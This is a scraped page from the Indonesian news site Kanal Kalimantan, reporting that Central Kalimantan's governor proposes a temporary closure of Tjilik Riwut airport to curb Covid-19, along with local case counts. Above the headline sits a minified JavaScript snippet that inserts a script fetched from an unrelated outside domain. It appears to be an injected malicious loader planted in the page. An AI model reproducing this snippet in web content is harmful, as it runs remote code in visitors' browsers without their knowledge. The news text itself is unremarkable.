(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Hadapi Covid-19, Gubernur Kalteng Usul Tutup Bandara Tjilik Riwut


KANALKALIMANTAN.COM, PALANGKA RAYA – Gubernur Kalimantan Tengah Sugianto Sabran akan mengusulkan penutupan sementara Bandara Tjilik Riwut Palangka Raya. Hal ini diharapkan dapat menghentikan penyebaran penyakit akibat virus corona (Covid-19).

Sugianto menyatakan usulan itu akan disampaikan pada pekan depan. “Minggu depan kami mengusulkan untuk melakukan lockdown udara menuju Bandara Tjilik Riwut, maupun sebaliknya menuju daerah-daerah terdampak atau zona merah. Kami ingin tutup sementara waktu hingga 14 hari ke depan,” kata Sugianto melalui pesan videonya kepada masyarakat di Palangka Raya, Ahad (29/3/2020).

Selaku gubernur, ia memohon dukungan dari masyarakat di Kalimantan Tengah untuk menerapkan kebijakan itu. Pasalnya, selama ini mobilisasi masyarakat melalui jalur udara tampaknya lebih banyak tak terkait dengan masalah perekonomian.

“Kami sudah berkoordinasi dengan Forkopimda. Diizinkan atau tidak, demi keselamatan masyarakat, kami akan tetap menutup bandara tersebut, khususnya Bandara Tjilik Riwut,” ucap Sugianto.

Dari pengamatannya belakangan ini, kata Sugianto, banyak pelajar dan masyarakat yang berangkat dari zona merah. Pemerintah daerah juga telah mempertimbangkan konsekuensi penutupan bandara tersebut terhadap aspek ekonomi, sosial dan lainnya.

Baca juga: Kasus Positif Covid-19 di Kalteng Bertambah Jadi 6 Orang

Sebelumnya Tim Gugus Tugas Percepatan Penanganan Covid-19 Kalimantan Tengah menyampaikan, kasus positif Covid-19 di Kalteng bertambah menjadi 6 dan kembali merupakan warga yang berdomisili di Palangka Raya.

“Pasien keenam yang dinyatakan positif Covid-19 adalah seorang laki-laki dewasa dan memiliki riwayat perjalanan ke Bogor,” kata Wakil Ketua Gugus Percepatan Penanganan Covid-19 Kalteng Suyuti Syamsul.

Berdasarkan data yang pihaknya rilis tersebut, pasien dalam pengawasan (PDP) di Kalteng ada sebanyak 34 orang, sedangkan orang dalam pemantauan (ODP) meningkat dan menjadi sebanyak 411 orang.

ODP terbanyak di Palangka Raya yakni sebanyak 116 orang. Peningkatan ODP di Palangka Raya merupakan hasil pelacakan terhadap berbagai kontak dengan pasien-pasien yang dinyatakan positif virus corona. (antara)

 


Al Ghifari

Recent Posts

Pemegang Kursi DPRD Banjarbaru Terima Bantuan Keuangan Parpol, Satu Suara Dihargai Rp14 Ribu

KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More

2 jam ago

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

12 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

14 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

15 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

18 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

21 jam ago

This website uses cookies.